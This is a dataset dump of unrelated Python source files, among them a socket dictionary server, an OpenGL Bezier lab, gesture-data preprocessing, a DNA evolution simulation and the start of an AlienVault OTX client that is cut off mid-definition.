# 查询单词同时,插入历史记录\n db.insert_history(name,word)\n # 在数据库中查询单词,找的了返回解释,没找到返回None\n mean = db.query(word)\n if not mean:\n connfd.send(b\"Nothing\")\n else:\n # 将单词和解释进行拼接并发送到服务端\n msg = \"%s : %s\"%(word,mean)\n connfd.send(msg.encode())\n\n# 历史记录\ndef do_hist(connfd, data):\n name = data.split(\" \")[1]\n data = db.history(name)\n if not data:\n connfd.send(b\"Fail\")\n return\n connfd.send(b\"OK\")\n send_hist(connfd, data)\n\n# 遍历在数据库查询返回的结果,并发送到服务端\ndef send_hist(connfd, data):\n for i in data:\n # i --> (name,word,time)\n msg = \"%s %-16s %s\" % i\n sleep(0.1) # 防止沾包\n connfd.send(msg.encode())\n sleep(0.1)\n connfd.send(b\"##\") # 发送 ## 表示发送结束\n\n\n# 处理客户端请求\ndef requst(connfd):\n db.create_cursor() # 生成游标\n while True:\n data = connfd.recv(1024).decode()\n # print(connfd.getpeername(),\":\",data)\n if not data or data[0] == \"E\":\n sys.exit()\n elif data[0] == \"R\":\n do_register(connfd, data)\n elif data[0] == \"L\":\n do_login(connfd, data)\n elif data[0] == \"Q\":\n do_query(connfd,data)\n elif data[0] == \"H\":\n do_hist(connfd,data)\n\n\n# 搭建网络\ndef main():\n sockfd = socket()\n sockfd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n sockfd.bind(ADDR)\n sockfd.listen(5)\n\n # 处理僵尸进程\n signal.signal(signal.SIGCHLD, signal.SIG_IGN)\n\n # 循环等待客户端连接\n print(\"Listen the port 8956\")\n while True:\n try:\n coonfd,addr = sockfd.accept()\n print(\"Connect from:\",addr)\n except KeyboardInterrupt:\n sockfd.close()\n db.close()\n sys.exit(\"服务端退出\")\n except Exception as e:\n print(e)\n continue\n\n # 为客户端创建子进程\n p = Process(target = requst, args = (coonfd, ))\n p.daemon = True\n p.start()\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"dict/dict_server.py","file_name":"dict_server.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"229795761","text":"import glfw\nfrom OpenGL.GL import *\nimport numpy as np\n\np0 = np.array([100.,200.])\np1 = np.array([200.,300.])\np2 = np.array([300.,300.])\np3 = np.array([400.,200.])\n\ngEditingPoint = ''\n\ndef render():\n global p0, p1\n glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT)\n\n glEnable(GL_DEPTH_TEST)\n\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n glOrtho(0,480, 0,480, -1, 1)\n\n glMatrixMode(GL_MODELVIEW)\n glLoadIdentity()\n\n glColor3ub(255, 255, 255)\n glBegin(GL_LINE_STRIP)\n for t in np.arange(0,1,.01):\n p = (-p0 + 3*p1 - 3*p2 + p3) * t**3 + (3*p0 - 6*p1 + 3*p2) * t**2 + (-3*p0 + 3*p1) * t + p0\n glVertex2fv(p)\n glEnd()\n\n glPointSize(20.)\n glColor3ub(0,255,0)\n glBegin(GL_POINTS)\n glVertex2fv(p0)\n glVertex2fv(p1)\n glVertex2fv(p2)\n glVertex2fv(p3)\n glEnd()\n glBegin(GL_LINE_LOOP)\n glVertex2fv(p0)\n glVertex2fv(p1)\n glVertex2fv(p2)\n glVertex2fv(p3)\n glEnd()\n\ndef button_callback(window, button, action, mod):\n global p0, p1, gEditingPoint\n if button==glfw.MOUSE_BUTTON_LEFT:\n x, y = glfw.get_cursor_pos(window)\n y = 480 - y\n if action==glfw.PRESS:\n if np.abs(x-p0[0])<10 and np.abs(y-p0[1])<10:\n gEditingPoint = 'p0'\n elif np.abs(x-p1[0])<10 and np.abs(y-p1[1])<10:\n gEditingPoint = 'p1'\n elif np.abs(x-p2[0])<10 and np.abs(y-p2[1])<10:\n gEditingPoint = 'p2'\n elif np.abs(x-p3[0])<10 and np.abs(y-p3[1])<10:\n gEditingPoint = 'p3'\n elif action==glfw.RELEASE:\n gEditingPoint = ''\n\ndef cursor_callback(window, xpos, ypos):\n global p0, p1, gEditingPoint\n ypos = 480 - ypos\n if gEditingPoint=='p0':\n p0[0]=xpos; p0[1]=ypos\n elif gEditingPoint=='p1':\n p1[0]=xpos; p1[1]=ypos\n elif gEditingPoint=='p2':\n p2[0]=xpos; p2[1]=ypos\n elif gEditingPoint=='p3':\n p3[0]=xpos; p3[1]=ypos\n\ndef main():\n if not glfw.init():\n return\n window = glfw.create_window(480,480,'2018008659', None,None)\n if not window:\n glfw.terminate()\n return\n glfw.make_context_current(window)\n glfw.set_mouse_button_callback(window, button_callback)\n glfw.set_cursor_pos_callback(window, cursor_callback)\n\n while not glfw.window_should_close(window):\n glfw.poll_events()\n render()\n glfw.swap_buffers(window)\n\n glfw.terminate()\n\nif __name__ == \"__main__\":\n main()\n\n\n","sub_path":"LabAssignment11/1/bezier_curve.py","file_name":"bezier_curve.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"482193765","text":"from keras.models import load_model\nfrom keras.preprocessing.image import ImageDataGenerator\nimport segmentation_models as sm\nimport numpy as np\nimport cv2\nimport argparse\nimport time\n\n# Parse the command-line arguments\nparser = argparse.ArgumentParser()\nparser.add_argument(\"model\", help=\"Path to saved model\")\n\nargs = parser.parse_args()\n\n# Load a pre-trained segmentation model\nmodel = load_model(args.model, custom_objects={\"binary_crossentropy_plus_jaccard_loss\": sm.losses.bce_jaccard_loss,\n \"iou_score\": sm.metrics.iou_score})\n\n# The desired image dimensions and camera frame rate\ndim = (256, 256)\nframe_rate = 10 # fps\n\ncap = cv2.VideoCapture(0)\ncap.set(cv2.CAP_PROP_FRAME_WIDTH, dim[0])\ncap.set(cv2.CAP_PROP_FRAME_HEIGHT, dim[1])\n\n\n# Get an estimate of the camera frame rate to be able to adjust the demo's frame rate\ndef get_frame_rate(video):\n # Number of frames to capture\n num_frames = 30\n\n # Start time\n start = time.time()\n\n # Grab a few frames\n for i in range(0, num_frames):\n _, _ = video.read()\n\n # End time\n end = time.time()\n\n # Time elapsed\n seconds = end - start\n\n # Calculate (rounded) frames per second\n return num_frames / seconds\n\nprint(\"Getting frame rate...\")\ncurr_rate = get_frame_rate(cap)\nthresh = int(curr_rate // frame_rate)\n\nprint(\"Starting camera...\")\nframes_since_reset = 0\nwhile True:\n # Capture frame-by-frame\n ret, frame = cap.read()\n\n if frames_since_reset % thresh == 0:\n frames_since_reset = 1\n # Format the frame and predict the mask\n try:\n frame = np.array(cv2.resize(frame, dim), dtype='float32')\n input_frame = frame.reshape((1, *dim, 3))\n input_frame /= 255\n mask = model.predict(input_frame)\n mask = mask.reshape((*dim, 1))\n\n # Change the mask data format\n mask *= 255\n mask = mask.astype(np.uint8)\n np_mask = mask > 128\n\n # Display the resulting frame (with superimposed mask)\n result = input_frame.copy()[0, :, :, :]\n result[np_mask[:, :, 0], 1] = 0\n\n cv2.imshow('demo', cv2.flip(result, 1))\n except Exception as e:\n print(\"Skipping frame; Exception occurred: '{}'\".format(e))\n\n frames_since_reset += 1\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# When everything done, release the capture\nprint(\"Stopping camera...\")\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"projects/segmentation_with_generator/code/webcam_demo.py","file_name":"webcam_demo.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"102793159","text":"#!/usr/bin/env python\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom keras.utils import to_categorical\nimport numpy as np\nimport pandas as pd\nimport pickle\nfrom math import pi, sin\nimport os\n\n\ndeep = False\nnum_timesteps = 1\naggregation = 100\n\n# Input files:\ncsv_filename = 'armband_data.csv'\n\n# Output files:\noutput_folder = 'fcn_sub_decisions/'\ndataset_filename = 'datasets.npz'\nscaler_filename = 'scaler.sav'\nlabel_filename = 'label_mapping.sav'\n\n\ndf = pd.read_csv(csv_filename, skipinitialspace=True)\n#df = df[df['GESTURE'].isin(['left turn', 'right turn'])]\n\ndf.sort_values('TIME', inplace=True)\n\ndf['GESTURE'], label_mapping = pd.factorize(df['GESTURE'])\n\nsine_transform = lambda angle: abs(sin(angle * pi / 180))\ndf['EULER_ANGLE_X'] = df['EULER_ANGLE_X'].apply(sine_transform) \ndf['EULER_ANGLE_Y'] = df['EULER_ANGLE_Y'].apply(sine_transform) \ndf['EULER_ANGLE_Z'] = df['EULER_ANGLE_Z'].apply(sine_transform) \n\nsequences = df.groupby(['SUBJECTID', 'REPID'])\nsequences = [sequences.get_group(group).drop(['TIME'], axis=1) for group in sequences.groups]\n\n\nprune = lambda num_rows: num_rows - num_rows % (num_timesteps * aggregation)\nsequences = [sequence[:prune(sequence.shape[0])] for sequence in sequences]\n\ntimeseries, gestures, subjects = zip(*[(sequence.drop(['SUBJECTID', 'REPID', 'GESTURE'], axis=1),\n sequence['GESTURE'].iat[0],\n sequence['SUBJECTID'].iat[0]) for sequence in sequences])\n\ntimeseries = [ts.fillna(ts.mean()) for ts in timeseries]\n\nfor ts in timeseries:\n ts.reset_index(inplace=True, drop=True)\n\ntimeseries = [ts.groupby(ts.index // aggregation).mean().values for ts in timeseries]\n\nencoded_labels = to_categorical(gestures) if deep else gestures\n\n\n# X, Y = [], []\n# if deep:\n# for i in range(len(timeseries)):\n# split = timeseries[i].shape[0] // num_timesteps // aggregation\n# for j in range(split):\n# X.append(timeseries[i][j * num_timesteps:(j + 1) * num_timesteps]); Y.append(encoded_labels[i])\n# else:\n# for i in range(len(timeseries)):\n# split = timeseries[i].shape[0]\n# for j in range(split):\n# X.append(timeseries[i][j]); Y.append(encoded_labels[i])\n# x_train, x_test, y_train, y_test = train_test_split(np.array(X), np.array(Y), test_size=0.2, random_state=42)\n\nx_train, x_test, y_train, y_test = [], [], [], []\nif deep:\n for i in range(len(timeseries)):\n if subjects[i] == 5:\n split = timeseries[i].shape[0] // num_timesteps // aggregation\n for j in range(split):\n x_test.append(timeseries[i][j * num_timesteps:(j + 1) * num_timesteps]); y_test.append(encoded_labels[i])\n else:\n split = timeseries[i].shape[0] // num_timesteps // aggregation\n for j in range(split):\n x_train.append(timeseries[i][j * num_timesteps:(j + 1) * num_timesteps]); y_train.append(encoded_labels[i])\nelse:\n for i in range(len(timeseries)):\n split = timeseries[i].shape[0]\n if subjects[i] == 5:\n for j in range(split):\n x_test.append(timeseries[i][j]); y_test.append(encoded_labels[i])\n else:\n for j in range(split):\n x_train.append(timeseries[i][j]); y_train.append(encoded_labels[i])\nx_train, x_test, y_train, y_test = [np.array(lst) for lst in [x_train, x_test, y_train, y_test]]\n\n# Scale/normalize data:\nscaler = StandardScaler()\n\nif deep:\n batch_size, num_timesteps, num_features = x_train.shape\n x_train = np.reshape(x_train, (-1, num_features))\n x_train = scaler.fit_transform(x_train)\n x_train = np.reshape(x_train, (batch_size, num_timesteps, num_features))\n\n batch_size, num_timesteps, num_features = x_test.shape\n x_test = np.reshape(x_test, (-1, num_features))\n x_test = scaler.transform(x_test)\n x_test = np.reshape(x_test, (batch_size, num_timesteps, num_features))\nelse:\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n\n\nprint(f'\\n\\nShapes: x_train = {x_train.shape}, y_train = {y_train.shape}, '\n f'x_test = {x_test.shape}, y_test = {y_test.shape}\\n\\n')\n\n\n# Save data sets:\nif output_folder:\n os.mkdir(output_folder)\n\nnp.savez(output_folder + dataset_filename, x_train=x_train, y_train=y_train, x_test=x_test, y_test=y_test)\npickle.dump(scaler, open(output_folder + scaler_filename, 'wb'))\npickle.dump(label_mapping, open(output_folder + label_filename, 'wb'))","sub_path":"Training tools/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":4543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"253506765","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndef plot_evolution(results, nrBoxplots):\n plt.figure(figsize=(20,8))\n plt.title('Distribution of results for each generation')\n nrGenerations = results.shape[0]\n posBoxplots = np.arange(0, nrGenerations, int(nrGenerations/nrBoxplots))\n widthBoxplots = nrGenerations / (nrBoxplots * 2)\n plt.boxplot(np.rot90(results[posBoxplots,:]), widths=widthBoxplots, positions=posBoxplots)\n x = np.arange(results.shape[0]) + 1\n mean_scores = np.mean(results,axis=1)\n min_scores = np.min(results,axis=1)\n max_scores = np.max(results,axis=1)\n plt.fill_between(x, min_scores, max_scores, alpha=0.1, color='g', label='min/max')\n plt.plot(x, mean_scores, color='g', alpha=1, label='mean')\n plt.legend(loc=1)\n plt.show()\n\ndef plot3D_parameters(generations, gs):\n extract_genes = lambda gens, i, j: np.array([[ind.x[i:j] for ind in gen] for gen in gens])\n es = extract_genes(generations[gs], 0, 3)\n ss = extract_genes(generations[gs], 3, 6)\n ps = extract_genes(generations[gs], 6, 9)\n scores = np.array([[ind.targFuncVal for ind in gen] for gen in generations[gs]])\n\n for (g, e, s, p, score) in zip(gs, es, ss, ps, scores):\n fig = plt.figure(figsize=(16, 4))\n for i, (xs, x) in enumerate(((es, e), (ss, s), (ps, p))):\n ax = fig.add_subplot(131 + i, projection='3d')\n ax.scatter3D(x[:, 0], x[:, 1], x[:, 2], depthshade=False, c=score, cmap='Greens')\n ax.set_title(('e', 's', 'p')[i] + ' - generation: ' + str(g))\n ax.set_xlim(np.amin(xs[:, :, 0]), np.amax(xs[:, :, 0]))\n ax.set_ylim(np.amin(xs[:, :, 1]), np.amax(xs[:, :, 1]))\n ax.set_zlim(np.amin(xs[:, :, 2]), np.amax(xs[:, :, 2]))\n\n fig.tight_layout()\n plt.show()","sub_path":"ex4/EvolutionPlotter.py","file_name":"EvolutionPlotter.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"20652521","text":"\"\"\"\n\nA program that simulates the molecular evolution of a population of DNA sequences,\nthen prints out each sequence in the final population. The model simulates natural selection\nby using a model of stochastic genetic drift by calculating a relative fitness score for each sequence.\nThe user can input the change in relative fitness and the relative fitness threshold. \nThe model uses the Kimura-2-parameter mutation model with user defined alpha and beta. The user can\nalso change the population, sequence length, generations, and the substring used in the genetic\ndrift model.\n\n@author: Michael Kirkham\n@version: 10/27/2017\n\"\"\"\n\nfrom random import *\n\ndef main():\n alpha = 0.1 # alpha, the probability of a transition over one generation\n beta = 0.004 # beta, the probability of a transversion over one generation\n rfChange = -0.5 #change in relative fitness. can be +/-.\n rfThresh = 1 #relative fitness threshold\n generations = 100 # the number G of generations for which the simulation will run\n pop = 100 # the number N of sequences in the population\n stringLength = 50 # length L of each sequence (in bp)\n gdSubstring = 'AGTC' # genetic drift user-submitted substring\n dnaString = ''#string used for the first randomly generated sequence\n stringList = list()\n trans1Dict = {'A' : 'C', # dictionary of transversions\n 'C' : 'A',\n 'G' : 'C',\n 'T' : 'A'}\n trans2Dict = {'A' : 'T', # dictionary of other transversions\n 'C' : 'G',\n 'G' : 'T',\n 'T' : 'G'}\n transitionDict = {'A' : 'G', # dictionary of transitions\n 'C' : 'T',\n 'G' : 'A',\n 'T' : 'C'}\n \"\"\" a function that takes in a sequence and mutates it using the\n K2P parameter model. Uses alpha and beta parameters.\n \"\"\"\n def mutate(sequence):\n muString = ''\n for i in range(0, len(sequence)):\n randNum = random()#generates random number\n if randNum < beta:#checks to see if it's a transversion\n muString += trans1Dict[sequence[i]]\n elif randNum > beta and randNum < 2 * beta:#checks to see if it's the other transversion\n muString += trans2Dict[sequence[i]]\n elif randNum > 2 * beta and randNum < 2 * beta + alpha:#checks to see if it's a transition\n muString += transitionDict[sequence[i]]\n else:#keeps the bp in the sequence the same\n muString += sequence[i]\n return muString\n \"\"\" returns a boolean value whether the given sequence contains the given\n substring or not. uses a sliding window technique over the whole\n sequence. returns false if it doesn't, returns true if it does.\n \"\"\"\n def checkSub(sequence, sub):\n boolValue = False\n for i in range(0, len(sequence)):\n if(sub == sequence[i:i+len(sub)]):\n boolValue = True\n return boolValue\n \"\"\" simulates a phase of reproduction.\n takes in a list of parent sequences and returns a list of\n child sequences. rf = relative fitness\n \"\"\"\n def reproduce(seqList):\n parentList = list()#list of parents. the higher the rf, the better chance\n #of making it into this list.\n repList = list()#list of randomly chosen parents that make it into the parent list.\n for i in range(0, len(seqList)):\n indRF = rfThresh#sets base rf\n if not checkSub(seqList[i], gdSubstring):#checks if the sequence does\n #not have the substring\n indRF += rfChange#changes the rf\n if(indRF > uniform(0, rfThresh)):#generates a random number between 0 and the\n #rf threshold. if the parents rf is above this\n #it gets added to the parents list.\n parentList.append(seqList[i])\n for j in range(0, pop):#loop to add N sequences to the list of children\n repList.append(choice(parentList))\n return repList\n for i in range(0, stringLength): # creates a random DNA sequence L long\n dnaString = dnaString + choice(['A', 'G', 'C', 'T'])\n for i in range(0, pop): # puts N sequences in the population\n stringList.append(dnaString)\n \"\"\" loop that mutates each sequence and then reproduces the population\n for the next generation.\n \"\"\"\n for g in range(0, generations): # mutates and reproduces the population for G generations\n for i in range(0, pop):\n stringList[i] = mutate(stringList[i])#mutate\n \"\"\" the rest is optional to the program. it checks to see the fraction of sequences in\n the final generation that contain the substring. The way the program works, the\n smaller the (substring length/sequence length) fraction is, the higher this count\n will be. The lower the loss to relative fitness for not having the substring,\n the higher this count will be as well. Finally the more generations that are looped\n through, the higher this count will be.\n \"\"\"\n countSub = 0\n for i in range(0, len(stringList)):\n print(stringList[i])\n if(checkSub(stringList[i], gdSubstring)):\n countSub += 1\n print(str(countSub) + \"/\" + str(pop))\n\nmain()\n\n","sub_path":"Bioinformatics/Project 1/Kirkham_CS_Evo.py","file_name":"Kirkham_CS_Evo.py","file_ext":"py","file_size_in_byte":5453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"229151114","text":"import sys\nimport numpy as np\nfrom itertools import izip\n\nBINARYMATFILENAME = sys.argv[1]\nMATERNALFASTAFILENAMELISTFILENAME = sys.argv[2]\nPATERNALFASTAFILENAMELISTFILENAME = sys.argv[3]\nOUTPUTSEQUENCESMATFILENAMEPREFIX = sys.argv[4] # Should not end with .\nOUTPUTSEQUENCESPATFILENAMEPREFIX = sys.argv[5] # Should not end with .\nOUTPUTLABELSFILENAMEPREFIX = sys.argv[6] # Should not end with .\nINDIVIDUALSLIST = []\nfor i in range(7, len(sys.argv)):\n\tINDIVIDUALSLIST.append(sys.argv[i])\n\ndef readFileNameList(fileNameListFileName):\n\t# Read a list of strings from a file\n\t# ASSUMES THAT INDIVIDUAL NAMES ARE IN THE FILE NAMES\n\tfileNameListFile = open(fileNameListFileName)\n\tfileNameList = fileNameListFile.readlines()\n\tfileNameListFile.close()\n\tfileList = []\n\tfor individual in INDIVIDUALSLIST:\n\t\tfileNameIndividual = filter(lambda x: individual in x, fileNameList)\n\t\tassert(len(fileNameIndividual) == 1)\n\t\tfileList.append(open(fileNameIndividual[0].strip()))\n\treturn fileList\n\ndef openOutputFiles():\n\t# Open the output files\n\toutputSequencesMatFileList = []\n\toutputSequencesPatFileList = []\n\toutputLabelsFileList = []\n\tfor individual in INDIVIDUALSLIST:\n\t\t# Create output maternal sequence, paternal sequence, and label files for each individual\n\t\toutputSequencesMatFile = open(OUTPUTSEQUENCESMATFILENAMEPREFIX + \".\" + individual + \".txt\", 'w+')\n\t\toutputSequencesPatFile = open(OUTPUTSEQUENCESPATFILENAMEPREFIX + \".\" + individual + \".txt\", 'w+')\n\t\toutputLabelsFile = open(OUTPUTLABELSFILENAMEPREFIX + \".\" + individual + \".txt\", 'w+')\n\t\toutputSequencesMatFileList.append(outputSequencesMatFile)\n\t\toutputSequencesPatFileList.append(outputSequencesPatFile)\n\t\toutputLabelsFileList.append(outputLabelsFile)\n\treturn [outputSequencesMatFileList, outputSequencesPatFileList, outputLabelsFileList]\n\ndef getNextSequences(fastaFileList):\n\t# Get the next sequences from a fasta file list\n\tnextSequences = []\n\tfor fastaFile in fastaFileList:\n\t\t# Iterate through the fasta files and get the next sequences from each\n\t\tfastaFile.readline()\n\t\tnextSequences.append(fastaFile.readline().strip().upper())\n\treturn nextSequences\n\ndef recordSequences(sequenceList, fileList):\n\t# Record a list of sequences to a list of files\n\tfor sequence, f in izip(sequenceList, fileList):\n\t\t# Iterate through the sequences and record each\n\t\tf.write(sequence + \"\\n\")\n\ndef recordLabels(labelsList, outputLabelsFileList):\n\t# Record a list of labels to a list of files\n\tfor label, outputLabelsFile in izip(labelsList, outputLabelsFileList):\n\t\t# Iterate through the labels and record each\n\t\toutputLabelsFile.write(str(label) + \"\\n\")\n\ndef getAgreeAndDisagreeFastasWithSNPs():\n\t# Get the maternal and paternal sequences and their corresponding labels for each individual\n\t# Also remove sequences that are the same across individuals with different labels\n\t# ASSUMES THAT THE MATERNAL AND PATERNAL FASTA FILES ARE IN THE SAME ORDER AS THEIR CORRESPONDING INDIVIDUALS\n\t# ASSUMES THAT EACH ROW IN THE BINARY MATRIX CORRESPONDS TO THE SAME ROWS IN THE MATERNAL AND PATERNAL FASTA FILES\n\tbinaryMat = np.genfromtxt(BINARYMATFILENAME, dtype = np.int8, names = True, usecols = INDIVIDUALSLIST)\n\tmaternalFastaFileList = readFileNameList(MATERNALFASTAFILENAMELISTFILENAME)\n\tpaternalFastaFileList = readFileNameList(PATERNALFASTAFILENAMELISTFILENAME)\n\t[outputSequencesMatFileList, outputSequencesPatFileList, outputLabelsFileList] = openOutputFiles()\n\tfor binaryRow in binaryMat:\n\t\t# Iterate through the rows of the binary matrix and record each sequence in the appropriate set\n\t\tmaternalSequences = getNextSequences(maternalFastaFileList)\n\t\tpaternalSequences = getNextSequences(paternalFastaFileList)\n\t\tbinaryList = [x for x in binaryRow]\n\t\tbinaryArray = np.array(binaryList)\n\t\tif 0 not in binaryArray:\n\t\t\t# The current peak is present in everyone, so record it\n\t\t\trecordSequences(maternalSequences, outputSequencesMatFileList)\n\t\t\trecordSequences(paternalSequences, outputSequencesPatFileList)\n\t\t\trecordLabels(binaryArray, outputLabelsFileList)\n\t\telif 1 not in binaryArray:\n\t\t\t# None of the selected individuals have the peak, so skip it\n\t\t\tcontinue\n\t\telse:\n\t\t\t# The current peak is not present in everyone, so record it only if there is some sequence difference between at least one individual with the peak and at least one individual without it\n\t\t\toneIndexes = np.nonzero(binaryArray)[0]\n\t\t\tzeroIndexes = np.setdiff1d(range(0, len(INDIVIDUALSLIST)), oneIndexes)\n\t\t\tdisagreementFound = False\n\t\t\tfor oi in oneIndexes:\n\t\t\t\t# Iterate through the individuals with a peak and compare their sequences to those without\n\t\t\t\tfor zi in zeroIndexes:\n\t\t\t\t\t# Iterate through the individuals without a peak and compare their sequences\n\t\t\t\t\tif maternalSequences[oi] == maternalSequences[zi]:\n\t\t\t\t\t\t# The maternal sequences are the same, so see if the paternal sequences are\n\t\t\t\t\t\tif paternalSequences[oi] != paternalSequences[zi]:\n\t\t\t\t\t\t\t# A disagreement has been found, so record the sequences and stop\n\t\t\t\t\t\t\trecordSequences(maternalSequences, outputSequencesMatFileList)\n\t\t\t\t\t\t\trecordSequences(paternalSequences, outputSequencesPatFileList)\n\t\t\t\t\t\t\trecordLabels(binaryArray, outputLabelsFileList)\n\t\t\t\t\t\t\tdisagreementFound = True\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\telif maternalSequences[oi] == paternalSequences[zi]:\n\t\t\t\t\t\t# The maternal sequence is the same as the paternal sequence, so see if the paternal sequence of the individual with a peak is the same as the maternal sequence of the individual without a peak\n\t\t\t\t\t\tif paternalSequences[oi] != maternalSequences[zi]:\n\t\t\t\t\t\t\t# A disagreement has been found, so record the sequences and stop\n\t\t\t\t\t\t\trecordSequences(maternalSequences, outputSequencesMatFileList)\n\t\t\t\t\t\t\trecordSequences(paternalSequences, outputSequencesPatFileList)\n\t\t\t\t\t\t\trecordLabels(binaryArray, outputLabelsFileList)\n\t\t\t\t\t\t\tdisagreementFound = True\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\t# A disagreement has been found, so record the sequences and stop\n\t\t\t\t\t\trecordSequences(maternalSequences, outputSequencesMatFileList)\n\t\t\t\t\t\trecordSequences(paternalSequences, outputSequencesPatFileList)\n\t\t\t\t\t\trecordLabels(binaryArray, outputLabelsFileList)\n\t\t\t\t\t\tdisagreementFound = True\n\t\t\t\t\t\tbreak\n\t\t\t\tif disagreementFound:\n\t\t\t\t\t# A disagreement has been found, so stop\n\t\t\t\t\tbreak\n\tfor individualFileList in izip(maternalFastaFileList, paternalFastaFileList, outputSequencesMatFileList, outputSequencesPatFileList, outputLabelsFileList):\n\t\t# Iterate through the individuals and close all of their input and output files\n\t\tfor individualFile in individualFileList:\n\t\t\t# Iterate through the files for the current individual and close each\n\t\t\tindividualFile.close()\n\nif __name__==\"__main__\":\n\tgetAgreeAndDisagreeFastasWithSNPs()\n","sub_path":"getAgreeAndDisagreeFastasWithSNPs.py","file_name":"getAgreeAndDisagreeFastasWithSNPs.py","file_ext":"py","file_size_in_byte":6650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"73853451","text":"# script.py\nimport sys\nimport sqlite3\n\nwith sqlite3.connect('pyclass.db') as conn:\n c = conn.cursor()\n\n values = sys.argv[1:3]\n\n insert_statement = \"\"\"\n insert into users(username, fav_color) values (?, ?);\n \"\"\"\n c.execute(insert_statement, values)\n","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"567397400","text":"s = 'azcbobobegghakl'\r\n# find all instances of 'bob', can probably do with reg expressions but \r\n# we havent covered that in the course yet\r\ncount = 0\r\n\r\n#loop through each letter in s, keep track of the index\r\nfor index, letter in enumerate(s):\r\n#if that letter, plus the next two letters equal 'bob'\r\n if s[index: index+3] == 'bob':\r\n # increment the counter variable\r\n count += 1\r\n\r\nprint(\"Number of times bob occurs is: {}\".format(count))\r\n ","sub_path":"core_cs/mitx6001/week_1/problem2x.py","file_name":"problem2x.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"418625066","text":"from mhs.builder.ebxml_message_builder import EbXmlMessageBuilder\n\nEBXML_TEMPLATE = \"ebxml_request\"\n\nSERVICE = \"service\"\nACTION = \"action\"\nDUPLICATE_ELIMINATION = \"duplicate_elimination\"\nACK_REQUESTED = \"ack_requested\"\nACK_SOAP_ACTOR = \"ack_soap_actor\"\nSYNC_REPLY = \"sync_reply\"\nMESSAGE = \"hl7_message\"\n\n\nclass EbXmlRequestMessageBuilder(EbXmlMessageBuilder):\n \"\"\"A component that uses Pystache to populate a Mustache template in order to build an EBXML request message.\"\"\"\n\n def __init__(self):\n \"\"\"Create a new EbXmlRequestMessageBuilder that uses an EBXML request template file.\"\"\"\n super().__init__(EBXML_TEMPLATE)\n","sub_path":"mhs-reference-implementation/mhs/builder/ebxml_request_message_builder.py","file_name":"ebxml_request_message_builder.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"627884320","text":"#!/usr/bin/python3\nfrom __future__ import print_function\nimport json\nfrom OTXv2 import OTXv2\nimport IndicatorTypes\nfrom json2html import *\nimport imgkit\nfrom datetime import datetime\n\nclass AlienVault_OTX:\n\n def init(self):\n config=None\n try:\n with open('config.json', 'r') as configFile:\n configContent = configFile.read()\n config=json.loads(configContent)\n except json.decoder.JSONDecodeError:\n print(\"Problem occured while parsing the config.json file\")\n exit()\n if config==None:\n print(\"Problem occured while parsing the config.json file\")\n exit()\n global OutputDir\n OutputDir = config['General']['OutputDir']\n global HTMLHeader\n HTMLHeader = config['General']['HTMLHeader']\n global TablesClass\n TablesClass = config['General']['TablesClass']\n global APIKeys\n APIKeys = config['AlienVault-OTX']['APIKeys']\n self.loadRecordsTmp()\n global APIKey\n APIKEY = APIKeys[APIKeyIndex]\n global APIKeysNumber\n APIKeysNumber = len(APIKeys)\n global DisabledAttr\n DisabledAttr = config['AlienVault-OTX']['DisabledAttr']\n global MaxResults\n MaxResults = config['AlienVault-OTX']['MaxResults']\n global AttrSubstitution\n AttrSubstitution = config['AlienVault-OTX']['AttrSubstitution']\n global Order\n Order = config['AlienVault-OTX']['Order']\n global Instance\n Instance = OTXv2(APIKEY)\n self.HTML=\"\"\n self.IMG=\"\"\n\n def preHandling(self):\n self.number={}\n self.history={}\n\n def loadRecordsTmp(self):\n global APIKeyIndex\n try:\n with open('.records.tmp', 'r') as recordsTmpFile:\n recordsTmpContent = recordsTmpFile.read()\n recordsTmp=json.loads(recordsTmpContent)\n APIKeyIndex=recordsTmp[\"APIKeyIndex\"]\n except Exception:\n APIKeyIndex=0\n recordsTmp={\"APIKeyIndex\":APIKeyIndex}\n with open('.records.tmp', 'w') as recordsTmpFile:\n json.dump(recordsTmp, recordsTmpFile)\n\n def updateAPIKeyIndex(self):\n try:\n with open('.records.tmp', 'r') as recordsTmpFile:\n recordsTmpContent = recordsTmpFile.read()\n recordsTmp=json.loads(recordsTmpContent)\n except Exception:\n recordsTmp={\"APIKeyIndex\":APIKeyIndex}\n recordsTmp[\"APIKeyIndex\"]=APIKeyIndex\n with open('.records.tmp', 'w') as recordsTmpFile:\n json.dump(recordsTmp, recordsTmpFile)\n\n def 